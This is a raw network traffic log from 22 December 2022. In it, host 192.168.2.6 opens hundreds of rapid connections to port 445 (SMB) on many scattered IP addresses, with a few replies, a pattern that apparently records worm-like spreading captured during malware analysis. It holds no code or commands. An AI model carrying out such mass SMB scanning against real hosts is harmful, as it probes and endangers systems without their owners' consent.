Dec 22, 2022 10:06:12.358561993 CET	56280	445	192.168.2.6	212.91.182.175
Dec 22, 2022 10:06:12.358732939 CET	56281	445	192.168.2.6	5.163.162.71
Dec 22, 2022 10:06:12.359208107 CET	56285	445	192.168.2.6	168.178.129.223
Dec 22, 2022 10:06:12.389698982 CET	56286	445	192.168.2.6	207.145.123.154
Dec 22, 2022 10:06:12.390542984 CET	56288	445	192.168.2.6	197.176.152.234
Dec 22, 2022 10:06:12.390728951 CET	56289	445	192.168.2.6	150.160.81.166
Dec 22, 2022 10:06:12.391078949 CET	56292	445	192.168.2.6	208.193.32.51
Dec 22, 2022 10:06:12.391175032 CET	56293	445	192.168.2.6	18.242.79.124
Dec 22, 2022 10:06:12.391268969 CET	56294	445	192.168.2.6	86.97.15.73
Dec 22, 2022 10:06:12.391877890 CET	56302	445	192.168.2.6	141.237.30.190
Dec 22, 2022 10:06:12.392226934 CET	56304	445	192.168.2.6	182.93.95.77
Dec 22, 2022 10:06:12.392774105 CET	56309	445	192.168.2.6	43.21.62.3
Dec 22, 2022 10:06:12.393063068 CET	56310	445	192.168.2.6	55.47.51.13
Dec 22, 2022 10:06:12.393625975 CET	56314	445	192.168.2.6	133.252.97.171
Dec 22, 2022 10:06:12.393923044 CET	56320	445	192.168.2.6	109.48.54.244
Dec 22, 2022 10:06:12.394068956 CET	56322	445	192.168.2.6	165.97.3.130
Dec 22, 2022 10:06:12.449316025 CET	445	56272	114.174.129.227	192.168.2.6
Dec 22, 2022 10:06:12.452620029 CET	56324	445	192.168.2.6	120.47.10.72
Dec 22, 2022 10:06:12.452826023 CET	56325	445	192.168.2.6	21.185.58.102
Dec 22, 2022 10:06:12.452936888 CET	56326	445	192.168.2.6	122.86.185.75
Dec 22, 2022 10:06:12.453031063 CET	56327	445	192.168.2.6	99.14.124.168
Dec 22, 2022 10:06:12.453180075 CET	56329	445	192.168.2.6	6.246.91.219
Dec 22, 2022 10:06:12.453268051 CET	56330	445	192.168.2.6	134.15.140.141
Dec 22, 2022 10:06:12.453402996 CET	56331	445	192.168.2.6	49.200.53.196
Dec 22, 2022 10:06:12.453547955 CET	56333	445	192.168.2.6	204.210.199.37
Dec 22, 2022 10:06:12.453773022 CET	56335	445	192.168.2.6	10.46.166.34
Dec 22, 2022 10:06:12.454425097 CET	56344	445	192.168.2.6	18.253.14.71
Dec 22, 2022 10:06:12.455131054 CET	56353	445	192.168.2.6	182.84.154.116
Dec 22, 2022 10:06:12.460591078 CET	445	56281	5.163.162.71	192.168.2.6
Dec 22, 2022 10:06:12.462840080 CET	56354	445	192.168.2.6	132.190.247.123
Dec 22, 2022 10:06:12.463047981 CET	56355	445	192.168.2.6	211.240.227.98
Dec 22, 2022 10:06:12.463567972 CET	56356	445	192.168.2.6	151.83.191.236
Dec 22, 2022 10:06:12.967506886 CET	56281	445	192.168.2.6	5.163.162.71
Dec 22, 2022 10:06:13.070178032 CET	445	56281	5.163.162.71	192.168.2.6
Dec 22, 2022 10:06:13.312416077 CET	56362	445	192.168.2.6	176.210.131.70
Dec 22, 2022 10:06:13.425717115 CET	445	56362	176.210.131.70	192.168.2.6
Dec 22, 2022 10:06:13.428978920 CET	56362	445	192.168.2.6	176.210.131.70
Dec 22, 2022 10:06:13.429130077 CET	56362	445	192.168.2.6	176.210.131.70
Dec 22, 2022 10:06:13.429898977 CET	56364	445	192.168.2.6	176.210.131.70
Dec 22, 2022 10:06:13.468699932 CET	56365	445	192.168.2.6	129.245.139.137
Dec 22, 2022 10:06:13.469541073 CET	56367	445	192.168.2.6	30.159.110.122
Dec 22, 2022 10:06:13.469933033 CET	56371	445	192.168.2.6	174.44.11.119
Dec 22, 2022 10:06:13.499604940 CET	56372	445	192.168.2.6	25.178.133.35
Dec 22, 2022 10:06:13.499784946 CET	56374	445	192.168.2.6	118.161.139.49
Dec 22, 2022 10:06:13.499938011 CET	56375	445	192.168.2.6	129.142.238.67
Dec 22, 2022 10:06:13.500077963 CET	56378	445	192.168.2.6	124.150.178.60
Dec 22, 2022 10:06:13.500194073 CET	56379	445	192.168.2.6	217.190.187.12
Dec 22, 2022 10:06:13.500622988 CET	56387	445	192.168.2.6	209.79.59.193
Dec 22, 2022 10:06:13.500725985 CET	56388	445	192.168.2.6	56.192.197.142
Dec 22, 2022 10:06:13.501014948 CET	56394	445	192.168.2.6	44.253.120.141
Dec 22, 2022 10:06:13.501173973 CET	56396	445	192.168.2.6	156.158.76.8
Dec 22, 2022 10:06:13.501796007 CET	56403	445	192.168.2.6	70.84.153.73
Dec 22, 2022 10:06:13.502002001 CET	56406	445	192.168.2.6	35.6.211.206
Dec 22, 2022 10:06:13.502165079 CET	56408	445	192.168.2.6	155.209.249.148
Dec 22, 2022 10:06:13.502752066 CET	56409	445	192.168.2.6	148.168.63.233
Dec 22, 2022 10:06:13.545696020 CET	445	56364	176.210.131.70	192.168.2.6
Dec 22, 2022 10:06:13.545732021 CET	445	56362	176.210.131.70	192.168.2.6
Dec 22, 2022 10:06:13.545861006 CET	56364	445	192.168.2.6	176.210.131.70
Dec 22, 2022 10:06:13.546811104 CET	56364	445	192.168.2.6	176.210.131.70
Dec 22, 2022 10:06:13.549673080 CET	445	56362	176.210.131.70	192.168.2.6
Dec 22, 2022 10:06:13.549773932 CET	56362	445	192.168.2.6	176.210.131.70
Dec 22, 2022 10:06:13.577704906 CET	56410	445	192.168.2.6	16.228.8.12
Dec 22, 2022 10:06:13.577806950 CET	56411	445	192.168.2.6	42.132.89.135
Dec 22, 2022 10:06:13.577941895 CET	56412	445	192.168.2.6	110.7.41.156
Dec 22, 2022 10:06:13.578171968 CET	56413	445	192.168.2.6	1.100.220.182
Dec 22, 2022 10:06:13.578361034 CET	56415	445	192.168.2.6	96.235.64.166
Dec 22, 2022 10:06:13.578481913 CET	56416	445	192.168.2.6	161.66.33.116
Dec 22, 2022 10:06:13.578481913 CET	56418	445	192.168.2.6	183.141.209.188
Dec 22, 2022 10:06:13.578486919 CET	56417	445	192.168.2.6	33.138.63.174
Dec 22, 2022 10:06:13.578608990 CET	56420	445	192.168.2.6	148.172.28.133
Dec 22, 2022 10:06:13.579184055 CET	56430	445	192.168.2.6	136.223.153.232
Dec 22, 2022 10:06:13.579576015 CET	56439	445	192.168.2.6	100.100.45.252
Dec 22, 2022 10:06:13.580638885 CET	56440	445	192.168.2.6	89.25.66.133
Dec 22, 2022 10:06:13.580893993 CET	56441	445	192.168.2.6	174.239.124.63
Dec 22, 2022 10:06:13.581329107 CET	56442	445	192.168.2.6	14.167.74.203
Dec 22, 2022 10:06:13.653682947 CET	445	56364	176.210.131.70	192.168.2.6
Dec 22, 2022 10:06:13.661710024 CET	445	56364	176.210.131.70	192.168.2.6
Dec 22, 2022 10:06:13.661907911 CET	56364	445	192.168.2.6	176.210.131.70
Dec 22, 2022 10:06:13.773806095 CET	445	56364	176.210.131.70	192.168.2.6
Dec 22, 2022 10:06:13.773962975 CET	56364	445	192.168.2.6	176.210.131.70
Dec 22, 2022 10:06:13.881630898 CET	445	56364	176.210.131.70	192.168.2.6
Dec 22, 2022 10:06:13.881757975 CET	56364	445	192.168.2.6	176.210.131.70
Dec 22, 2022 10:06:13.993697882 CET	445	56364	176.210.131.70	192.168.2.6
Dec 22, 2022 10:06:13.994513988 CET	56364	445	192.168.2.6	176.210.131.70
Dec 22, 2022 10:06:14.105727911 CET	445	56364	176.210.131.70	192.168.2.6
Dec 22, 2022 10:06:14.105892897 CET	56364	445	192.168.2.6	176.210.131.70
Dec 22, 2022 10:06:14.577677965 CET	56450	445	192.168.2.6	198.210.232.240
Dec 22, 2022 10:06:14.578849077 CET	56452	445	192.168.2.6	93.53.137.166
Dec 22, 2022 10:06:14.579250097 CET	56455	445	192.168.2.6	62.191.181.245
Dec 22, 2022 10:06:14.592662096 CET	54979	445	192.168.2.6	84.6.126.2
Dec 22, 2022 10:06:14.625027895 CET	56456	445	192.168.2.6	111.33.244.62
Dec 22, 2022 10:06:14.625325918 CET	56458	445	192.168.2.6	103.209.229.237
Dec 22, 2022 10:06:14.625947952 CET	56462	445	192.168.2.6	207.182.157.189
Dec 22, 2022 10:06:14.625950098 CET	56460	445	192.168.2.6	35.116.250.152
Dec 22, 2022 10:06:14.626060963 CET	56463	445	192.168.2.6	13.191.210.24
Dec 22, 2022 10:06:14.627023935 CET	56471	445	192.168.2.6	193.113.187.99
Dec 22, 2022 10:06:14.627188921 CET	56472	445	192.168.2.6	124.37.209.58
Dec 22, 2022 10:06:14.627969027 CET	56478	445	192.168.2.6	88.206.250.211
Dec 22, 2022 10:06:14.628330946 CET	56480	445	192.168.2.6	75.5.223.26
Dec 22, 2022 10:06:14.629921913 CET	56488	445	192.168.2.6	193.192.235.139
Dec 22, 2022 10:06:14.630309105 CET	56490	445	192.168.2.6	155.149.25.207
Dec 22, 2022 10:06:14.630554914 CET	56492	445	192.168.2.6	43.170.3.106
Dec 22, 2022 10:06:14.631397009 CET	56493	445	192.168.2.6	103.8.218.64
Dec 22, 2022 10:06:14.702311993 CET	56494	445	192.168.2.6	37.19.200.177
Dec 22, 2022 10:06:14.702388048 CET	56495	445	192.168.2.6	220.191.65.196
Dec 22, 2022 10:06:14.702498913 CET	56496	445	192.168.2.6	5.57.213.194
Dec 22, 2022 10:06:14.702683926 CET	56498	445	192.168.2.6	212.4.53.152
Dec 22, 2022 10:06:14.702730894 CET	56497	445	192.168.2.6	219.4.229.54
Dec 22, 2022 10:06:14.702891111 CET	56500	445	192.168.2.6	123.192.84.231
Dec 22, 2022 10:06:14.702946901 CET	56501	445	192.168.2.6	56.115.163.24
Dec 22, 2022 10:06:14.703016043 CET	56502	445	192.168.2.6	220.163.38.158
Dec 22, 2022 10:06:14.703329086 CET	56506	445	192.168.2.6	80.43.96.124
Dec 22, 2022 10:06:14.703771114 CET	56516	445	192.168.2.6	101.119.64.43
Dec 22, 2022 10:06:14.704018116 CET	56522	445	192.168.2.6	40.142.192.186
Dec 22, 2022 10:06:14.705163956 CET	56524	445	192.168.2.6	142.107.24.200
Dec 22, 2022 10:06:14.705302954 CET	56525	445	192.168.2.6	204.86.132.234
Dec 22, 2022 10:06:14.705344915 CET	56526	445	192.168.2.6	172.110.168.212
Dec 22, 2022 10:06:14.808670044 CET	445	56496	5.57.213.194	192.168.2.6
Dec 22, 2022 10:06:15.311496973 CET	56496	445	192.168.2.6	5.57.213.194
Dec 22, 2022 10:06:15.417579889 CET	445	56496	5.57.213.194	192.168.2.6
Dec 22, 2022 10:06:15.686717033 CET	56535	445	192.168.2.6	80.27.188.71
Dec 22, 2022 10:06:15.686938047 CET	56536	445	192.168.2.6	184.245.222.40
Dec 22, 2022 10:06:15.687141895 CET	56540	445	192.168.2.6	204.203.228.105
Dec 22, 2022 10:06:15.733876944 CET	56541	445	192.168.2.6	81.150.225.221
Dec 22, 2022 10:06:15.734249115 CET	56544	445	192.168.2.6	11.116.221.123
Dec 22, 2022 10:06:15.734401941 CET	56546	445	192.168.2.6	87.158.98.77
Dec 22, 2022 10:06:15.734497070 CET	56547	445	192.168.2.6	46.139.104.160
Dec 22, 2022 10:06:15.735069036 CET	56555	445	192.168.2.6	10.207.58.94
Dec 22, 2022 10:06:15.735330105 CET	56556	445	192.168.2.6	209.193.228.188
Dec 22, 2022 10:06:15.735801935 CET	56562	445	192.168.2.6	6.194.254.64
Dec 22, 2022 10:06:15.736005068 CET	56564	445	192.168.2.6	107.194.91.129
Dec 22, 2022 10:06:15.736924887 CET	56572	445	192.168.2.6	128.195.81.163
Dec 22, 2022 10:06:15.737272024 CET	56574	445	192.168.2.6	190.74.233.7
Dec 22, 2022 10:06:15.737545967 CET	56576	445	192.168.2.6	199.24.195.41
Dec 22, 2022 10:06:15.737999916 CET	56577	445	192.168.2.6	191.123.59.240
Dec 22, 2022 10:06:15.738327980 CET	56578	445	192.168.2.6	75.56.98.29
Dec 22, 2022 10:06:15.812278032 CET	56579	445	192.168.2.6	220.210.241.217
Dec 22, 2022 10:06:15.812306881 CET	56580	445	192.168.2.6	28.183.165.168
Dec 22, 2022 10:06:15.812484026 CET	56581	445	192.168.2.6	6.209.251.30
Dec 22, 2022 10:06:15.812926054 CET	56590	445	192.168.2.6	222.105.15.215
Dec 22, 2022 10:06:15.813209057 CET	56593	445	192.168.2.6	111.52.165.194
Dec 22, 2022 10:06:15.813333035 CET	56594	445	192.168.2.6	114.0.198.213
Dec 22, 2022 10:06:15.813472033 CET	56595	445	192.168.2.6	10.8.59.127
Dec 22, 2022 10:06:15.813564062 CET	56597	445	192.168.2.6	89.234.87.143
Dec 22, 2022 10:06:15.813680887 CET	56599	445	192.168.2.6	51.151.244.198
Dec 22, 2022 10:06:15.813719988 CET	56600	445	192.168.2.6	53.23.170.249
Dec 22, 2022 10:06:15.814101934 CET	56608	445	192.168.2.6	219.193.1.160
Dec 22, 2022 10:06:15.815474987 CET	56609	445	192.168.2.6	32.164.57.25
Dec 22, 2022 10:06:15.815542936 CET	56611	445	192.168.2.6	28.174.2.21
Dec 22, 2022 10:06:15.815795898 CET	56610	445	192.168.2.6	25.157.213.77
Dec 22, 2022 10:06:16.537564993 CET	445	56577	191.123.59.240	192.168.2.6
Dec 22, 2022 10:06:16.797606945 CET	56619	445	192.168.2.6	125.138.161.116
Dec 22, 2022 10:06:16.798549891 CET	56620	445	192.168.2.6	142.209.50.149
Dec 22, 2022 10:06:16.798964024 CET	56623	445	192.168.2.6	144.93.147.90
Dec 22, 2022 10:06:16.899000883 CET	56626	445	192.168.2.6	142.154.44.150
Dec 22, 2022 10:06:16.899460077 CET	56628	445	192.168.2.6	116.113.173.116
Dec 22, 2022 10:06:16.899771929 CET	56630	445	192.168.2.6	109.25.231.179
Dec 22, 2022 10:06:16.900285006 CET	56631	445	192.168.2.6	212.95.208.176
Dec 22, 2022 10:06:16.900679111 CET	56632	445	192.168.2.6	76.145.108.64
Dec 22, 2022 10:06:16.900835991 CET	56633	445	192.168.2.6	26.243.213.114
Dec 22, 2022 10:06:16.901088953 CET	56636	445	192.168.2.6	74.150.237.37
Dec 22, 2022 10:06:16.901269913 CET	56638	445	192.168.2.6	162.130.71.71
Dec 22, 2022 10:06:16.901364088 CET	56639	445	192.168.2.6	141.250.150.195
Dec 22, 2022 10:06:16.902278900 CET	56647	445	192.168.2.6	73.61.254.173
Dec 22, 2022 10:06:16.902426958 CET	56648	445	192.168.2.6	108.67.29.100
Dec 22, 2022 10:06:16.903166056 CET	56654	445	192.168.2.6	153.60.196.196
Dec 22, 2022 10:06:16.903352022 CET	56656	445	192.168.2.6	22.72.29.152
Dec 22, 2022 10:06:16.985049963 CET	445	56626	142.154.44.150	192.168.2.6
Dec 22, 2022 10:06:17.004611969 CET	56665	445	192.168.2.6	126.84.240.159
Dec 22, 2022 10:06:17.004770041 CET	56666	445	192.168.2.6	161.94.154.222
Dec 22, 2022 10:06:17.005331039 CET	56667	445	192.168.2.6	77.216.119.101
Dec 22, 2022 10:06:17.006441116 CET	56677	445	192.168.2.6	144.127.60.121
Dec 22, 2022 10:06:17.006632090 CET	56679	445	192.168.2.6	203.168.97.235
Dec 22, 2022 10:06:17.006731033 CET	56680	445	192.168.2.6	139.227.167.221
Dec 22, 2022 10:06:17.007344007 CET	56682	445	192.168.2.6	120.118.66.6
Dec 22, 2022 10:06:17.007572889 CET	56683	445	192.168.2.6	189.149.114.81
Dec 22, 2022 10:06:17.007889986 CET	56686	445	192.168.2.6	152.18.218.14
Dec 22, 2022 10:06:17.008500099 CET	56694	445	192.168.2.6	115.96.1.70
Dec 22, 2022 10:06:17.009383917 CET	56695	445	192.168.2.6	175.188.30.61
Dec 22, 2022 10:06:17.010190964 CET	56696	445	192.168.2.6	76.165.90.140
Dec 22, 2022 10:06:17.011003017 CET	56697	445	192.168.2.6	97.52.132.235
Dec 22, 2022 10:06:17.011307001 CET	56698	445	192.168.2.6	176.210.131.70
Dec 22, 2022 10:06:17.113986015 CET	445	56698	176.210.131.70	192.168.2.6
Dec 22, 2022 10:06:17.114120960 CET	56698	445	192.168.2.6	176.210.131.70
Dec 22, 2022 10:06:17.115559101 CET	56698	445	192.168.2.6	176.210.131.70
Dec 22, 2022 10:06:17.221250057 CET	445	56698	176.210.131.70	192.168.2.6
Dec 22, 2022 10:06:17.225261927 CET	445	56698	176.210.131.70	192.168.2.6
Dec 22, 2022 10:06:17.280384064 CET	56698	445	192.168.2.6	176.210.131.70
Dec 22, 2022 10:06:17.499162912 CET	56626	445	192.168.2.6	142.154.44.150
Dec 22, 2022 10:06:17.585144997 CET	445	56626	142.154.44.150	192.168.2.6
Dec 22, 2022 10:06:17.817888021 CET	56698	445	192.168.2.6	176.210.131.70
Dec 22, 2022 10:06:17.819770098 CET	56701	445	192.168.2.6	84.6.126.2
Dec 22, 2022 10:06:17.854310989 CET	445	56701	84.6.126.2	192.168.2.6
Dec 22, 2022 10:06:17.854449034 CET	56701	445	192.168.2.6	84.6.126.2
Dec 22, 2022 10:06:17.854449034 CET	56701	445	192.168.2.6	84.6.126.2
Dec 22, 2022 10:06:17.925201893 CET	445	56698	176.210.131.70	192.168.2.6
Dec 22, 2022 10:06:17.941205025 CET	56702	445	192.168.2.6	88.227.185.221
Dec 22, 2022 10:06:17.943595886 CET	56698	445	192.168.2.6	176.210.131.70
Dec 22, 2022 10:06:17.943923950 CET	56703	445	192.168.2.6	80.166.117.116
Dec 22, 2022 10:06:17.944305897 CET	56706	445	192.168.2.6	178.140.220.31
Dec 22, 2022 10:06:18.049177885 CET	445	56698	176.210.131.70	192.168.2.6
Dec 22, 2022 10:06:18.068238020 CET	56698	445	192.168.2.6	176.210.131.70
Dec 22, 2022 10:06:18.069320917 CET	56722	445	192.168.2.6	103.172.253.112
Dec 22, 2022 10:06:18.069531918 CET	56724	445	192.168.2.6	180.40.25.150
Dec 22, 2022 10:06:18.070240974 CET	56730	445	192.168.2.6	168.73.136.142
Dec 22, 2022 10:06:18.070360899 CET	56731	445	192.168.2.6	71.49.99.13
Dec 22, 2022 10:06:18.071055889 CET	56739	445	192.168.2.6	11.42.19.47
Dec 22, 2022 10:06:18.071248055 CET	56740	445	192.168.2.6	31.30.178.157
Dec 22, 2022 10:06:18.071459055 CET	56742	445	192.168.2.6	186.138.103.52
Dec 22, 2022 10:06:18.071718931 CET	56745	445	192.168.2.6	213.166.39.43
Dec 22, 2022 10:06:18.071849108 CET	56746	445	192.168.2.6	17.229.102.59
Dec 22, 2022 10:06:18.072618961 CET	56747	445	192.168.2.6	71.70.51.46
Dec 22, 2022 10:06:18.072798014 CET	56748	445	192.168.2.6	63.167.200.205
Dec 22, 2022 10:06:18.073246956 CET	56750	445	192.168.2.6	172.107.149.253
Dec 22, 2022 10:06:18.073993921 CET	56752	445	192.168.2.6	128.156.10.4
Dec 22, 2022 10:06:18.092895031 CET	56701	445	192.168.2.6	84.6.126.2
Dec 22, 2022 10:06:18.173223972 CET	445	56698	176.210.131.70	192.168.2.6
Dec 22, 2022 10:06:18.178153038 CET	56698	445	192.168.2.6	176.210.131.70
Dec 22, 2022 10:06:18.178932905 CET	56753	445	192.168.2.6	37.194.37.23
Dec 22, 2022 10:06:18.179802895 CET	56754	445	192.168.2.6	132.74.119.190
Dec 22, 2022 10:06:18.180464029 CET	56755	445	192.168.2.6	102.124.198.247
Dec 22, 2022 10:06:18.180656910 CET	56756	445	192.168.2.6	162.188.172.149
Dec 22, 2022 10:06:18.181515932 CET	56764	445	192.168.2.6	40.25.204.19
Dec 22, 2022 10:06:18.181601048 CET	56765	445	192.168.2.6	45.250.128.238
Dec 22, 2022 10:06:18.181777954 CET	56767	445	192.168.2.6	54.225.180.146
Dec 22, 2022 10:06:18.182424068 CET	56768	445	192.168.2.6	175.96.156.220
Dec 22, 2022 10:06:18.182670116 CET	56770	445	192.168.2.6	220.176.243.127
Dec 22, 2022 10:06:18.182846069 CET	56771	445	192.168.2.6	3.24.66.182
Dec 22, 2022 10:06:18.183171988 CET	56773	445	192.168.2.6	100.72.81.29
Dec 22, 2022 10:06:18.183918953 CET	56783	445	192.168.2.6	221.136.155.237
Dec 22, 2022 10:06:18.184099913 CET	56784	445	192.168.2.6	171.147.127.220
Dec 22, 2022 10:06:18.184343100 CET	56785	445	192.168.2.6	49.8.181.40
Dec 22, 2022 10:06:18.274648905 CET	56786	445	192.168.2.6	176.210.131.71
Dec 22, 2022 10:06:18.285290956 CET	445	56698	176.210.131.70	192.168.2.6
Dec 22, 2022 10:06:18.285377026 CET	56698	445	192.168.2.6	176.210.131.70
Dec 22, 2022 10:06:18.385261059 CET	445	56786	176.210.131.71	192.168.2.6
Dec 22, 2022 10:06:18.385430098 CET	56786	445	192.168.2.6	176.210.131.71
Dec 22, 2022 10:06:18.405509949 CET	56701	445	192.168.2.6	84.6.126.2
Dec 22, 2022 10:06:18.427189112 CET	56786	445	192.168.2.6	176.210.131.71
Dec 22, 2022 10:06:18.432208061 CET	56787	445	192.168.2.6	176.210.131.71
Dec 22, 2022 10:06:18.536892891 CET	445	56787	176.210.131.71	192.168.2.6
Dec 22, 2022 10:06:18.537043095 CET	445	56786	176.210.131.71	192.168.2.6
Dec 22, 2022 10:06:18.537071943 CET	56787	445	192.168.2.6	176.210.131.71
Dec 22, 2022 10:06:18.541210890 CET	445	56786	176.210.131.71	192.168.2.6
Dec 22, 2022 10:06:18.541357040 CET	56786	445	192.168.2.6	176.210.131.71
Dec 22, 2022 10:06:18.603763103 CET	56787	445	192.168.2.6	176.210.131.71
Dec 22, 2022 10:06:18.708844900 CET	445	56787	176.210.131.71	192.168.2.6
Dec 22, 2022 10:06:18.712781906 CET	445	56787	176.210.131.71	192.168.2.6
Dec 22, 2022 10:06:18.764935017 CET	56787	445	192.168.2.6	176.210.131.71
Dec 22, 2022 10:06:19.015132904 CET	56701	445	192.168.2.6	84.6.126.2
Dec 22, 2022 10:06:19.769884109 CET	56787	445	192.168.2.6	176.210.131.71
Dec 22, 2022 10:06:19.876663923 CET	445	56787	176.210.131.71	192.168.2.6
Dec 22, 2022 10:06:19.889786005 CET	56789	445	192.168.2.6	36.95.247.45
Dec 22, 2022 10:06:19.892009020 CET	56787	445	192.168.2.6	176.210.131.71
Dec 22, 2022 10:06:19.892565966 CET	56794	445	192.168.2.6	200.216.72.139
Dec 22, 2022 10:06:19.893290043 CET	56795	445	192.168.2.6	95.240.22.59
Dec 22, 2022 10:06:19.893915892 CET	56796	445	192.168.2.6	84.103.49.70
Dec 22, 2022 10:06:19.894507885 CET	56797	445	192.168.2.6	99.159.57.186
Dec 22, 2022 10:06:19.895478010 CET	56806	445	192.168.2.6	70.26.155.57
Dec 22, 2022 10:06:19.895673990 CET	56808	445	192.168.2.6	183.217.241.33
Dec 22, 2022 10:06:19.896121025 CET	56814	445	192.168.2.6	22.63.173.97
Dec 22, 2022 10:06:19.896315098 CET	56815	445	192.168.2.6	47.215.89.237
Dec 22, 2022 10:06:19.897021055 CET	56823	445	192.168.2.6	143.164.210.129
Dec 22, 2022 10:06:19.897155046 CET	56824	445	192.168.2.6	183.172.157.177
Dec 22, 2022 10:06:19.897394896 CET	56826	445	192.168.2.6	27.26.34.71
Dec 22, 2022 10:06:19.897761106 CET	56829	445	192.168.2.6	155.155.133.164
Dec 22, 2022 10:06:19.897864103 CET	56830	445	192.168.2.6	52.99.16.157
Dec 22, 2022 10:06:19.898363113 CET	56831	445	192.168.2.6	151.119.35.161
Dec 22, 2022 10:06:19.898598909 CET	56832	445	192.168.2.6	78.53.227.173
Dec 22, 2022 10:06:19.898869038 CET	56834	445	192.168.2.6	23.199.194.26
Dec 22, 2022 10:06:19.899394989 CET	56836	445	192.168.2.6	16.35.240.235
Dec 22, 2022 10:06:19.900048018 CET	56844	445	192.168.2.6	174.68.10.32
Dec 22, 2022 10:06:19.900399923 CET	56847	445	192.168.2.6	200.226.30.125
Dec 22, 2022 10:06:19.900713921 CET	56850	445	192.168.2.6	70.63.13.36
Dec 22, 2022 10:06:19.900814056 CET	56851	445	192.168.2.6	139.85.89.57
Dec 22, 2022 10:06:19.900893927 CET	56852	445	192.168.2.6	50.137.166.207
Dec 22, 2022 10:06:19.901787043 CET	56862	445	192.168.2.6	13.86.201.233
Dec 22, 2022 10:06:19.901956081 CET	56864	445	192.168.2.6	95.68.94.115
Dec 22, 2022 10:06:19.902071953 CET	56865	445	192.168.2.6	188.22.100.96
Dec 22, 2022 10:06:19.902663946 CET	56867	445	192.168.2.6	68.153.202.46
Dec 22, 2022 10:06:19.902822971 CET	56868	445	192.168.2.6	173.68.197.230
Dec 22, 2022 10:06:19.903105021 CET	56870	445	192.168.2.6	64.97.210.135
Dec 22, 2022 10:06:19.903218031 CET	56871	445	192.168.2.6	137.64.185.73
Dec 22, 2022 10:06:19.946278095 CET	445	56864	95.68.94.115	192.168.2.6
Dec 22, 2022 10:06:19.997236013 CET	445	56787	176.210.131.71	192.168.2.6
Dec 22, 2022 10:06:20.009502888 CET	56787	445	192.168.2.6	176.210.131.71
Dec 22, 2022 10:06:20.116856098 CET	445	56787	176.210.131.71	192.168.2.6
Dec 22, 2022 10:06:20.116992950 CET	56787	445	192.168.2.6	176.210.131.71
Dec 22, 2022 10:06:20.218173027 CET	56701	445	192.168.2.6	84.6.126.2
Dec 22, 2022 10:06:20.224817038 CET	445	56787	176.210.131.71	192.168.2.6
Dec 22, 2022 10:06:20.224894047 CET	56787	445	192.168.2.6	176.210.131.71
Dec 22, 2022 10:06:20.557014942 CET	56864	445	192.168.2.6	95.68.94.115
Dec 22, 2022 10:06:20.600980997 CET	445	56864	95.68.94.115	192.168.2.6
Dec 22, 2022 10:06:20.999833107 CET	56876	445	192.168.2.6	162.245.77.99
Dec 22, 2022 10:06:21.001029968 CET	56882	445	192.168.2.6	120.175.43.227
Dec 22, 2022 10:06:21.001523972 CET	56885	445	192.168.2.6	81.250.185.77
Dec 22, 2022 10:06:21.001759052 CET	56886	445	192.168.2.6	216.150.146.226
Dec 22, 2022 10:06:21.001892090 CET	56889	445	192.168.2.6	32.140.165.254
Dec 22, 2022 10:06:21.001996040 CET	56890	445	192.168.2.6	81.4.226.66
Dec 22, 2022 10:06:21.003082037 CET	56899	445	192.168.2.6	21.31.14.231
Dec 22, 2022 10:06:21.003097057 CET	56902	445	192.168.2.6	204.130.32.195
Dec 22, 2022 10:06:21.003112078 CET	56903	445	192.168.2.6	95.234.153.159
Dec 22, 2022 10:06:21.003304958 CET	56905	445	192.168.2.6	215.13.52.152
Dec 22, 2022 10:06:21.003473997 CET	56907	445	192.168.2.6	90.73.140.217
Dec 22, 2022 10:06:21.003604889 CET	56908	445	192.168.2.6	142.39.214.49
Dec 22, 2022 10:06:21.003724098 CET	56909	445	192.168.2.6	21.68.4.166
Dec 22, 2022 10:06:21.016283035 CET	56918	445	192.168.2.6	143.2.220.223
Dec 22, 2022 10:06:21.016712904 CET	56927	445	192.168.2.6	182.14.16.203
Dec 22, 2022 10:06:21.016836882 CET	56929	445	192.168.2.6	99.102.203.104
Dec 22, 2022 10:06:21.017003059 CET	56935	445	192.168.2.6	120.54.69.153
Dec 22, 2022 10:06:21.017092943 CET	56936	445	192.168.2.6	200.128.17.192
Dec 22, 2022 10:06:21.017437935 CET	56944	445	192.168.2.6	100.26.147.22
Dec 22, 2022 10:06:21.017452955 CET	56945	445	192.168.2.6	196.127.0.103
Dec 22, 2022 10:06:21.017549992 CET	56947	445	192.168.2.6	148.58.90.243
Dec 22, 2022 10:06:21.017748117 CET	56950	445	192.168.2.6	135.180.155.72
Dec 22, 2022 10:06:21.017852068 CET	56951	445	192.168.2.6	115.236.219.39
Dec 22, 2022 10:06:21.017972946 CET	56954	445	192.168.2.6	120.37.5.248
Dec 22, 2022 10:06:21.017981052 CET	56952	445	192.168.2.6	157.225.20.44
Dec 22, 2022 10:06:21.019805908 CET	56958	445	192.168.2.6	18.168.181.158
Dec 22, 2022 10:06:21.019819975 CET	56957	445	192.168.2.6	121.127.215.2
Dec 22, 2022 10:06:21.020003080 CET	56960	445	192.168.2.6	160.75.126.249
Dec 22, 2022 10:06:21.020224094 CET	56961	445	192.168.2.6	171.234.58.157
Dec 22, 2022 10:06:21.020251989 CET	56959	445	192.168.2.6	170.111.50.67
Dec 22, 2022 10:06:22.109184980 CET	56964	445	192.168.2.6	64.8.102.189
Dec 22, 2022 10:06:22.110100031 CET	56970	445	192.168.2.6	213.217.196.164
Dec 22, 2022 10:06:22.110485077 CET	56973	445	192.168.2.6	49.21.114.98
Dec 22, 2022 10:06:22.110738039 CET	56974	445	192.168.2.6	70.232.39.216
Dec 22, 2022 10:06:22.111133099 CET	56977	445	192.168.2.6	64.103.124.223
Dec 22, 2022 10:06:22.111324072 CET	56978	445	192.168.2.6	73.151.124.91
Dec 22, 2022 10:06:22.112282991 CET	56987	445	192.168.2.6	166.114.164.94
Dec 22, 2022 10:06:22.112750053 CET	56990	445	192.168.2.6	101.82.32.147
Dec 22, 2022 10:06:22.112920046 CET	56991	445	192.168.2.6	88.137.181.79
Dec 22, 2022 10:06:22.113308907 CET	56993	445	192.168.2.6	184.119.96.46
Dec 22, 2022 10:06:22.113590002 CET	56995	445	192.168.2.6	117.38.77.54
Dec 22, 2022 10:06:22.114411116 CET	56996	445	192.168.2.6	97.192.152.105
Dec 22, 2022 10:06:22.114662886 CET	56997	445	192.168.2.6	19.81.23.214
Dec 22, 2022 10:06:22.125437975 CET	57005	445	192.168.2.6	140.172.91.160
Dec 22, 2022 10:06:22.126569033 CET	57015	445	192.168.2.6	64.147.151.223
Dec 22, 2022 10:06:22.126925945 CET	57017	445	192.168.2.6	148.83.2.163
Dec 22, 2022 10:06:22.127418041 CET	57023	445	192.168.2.6	119.70.29.99
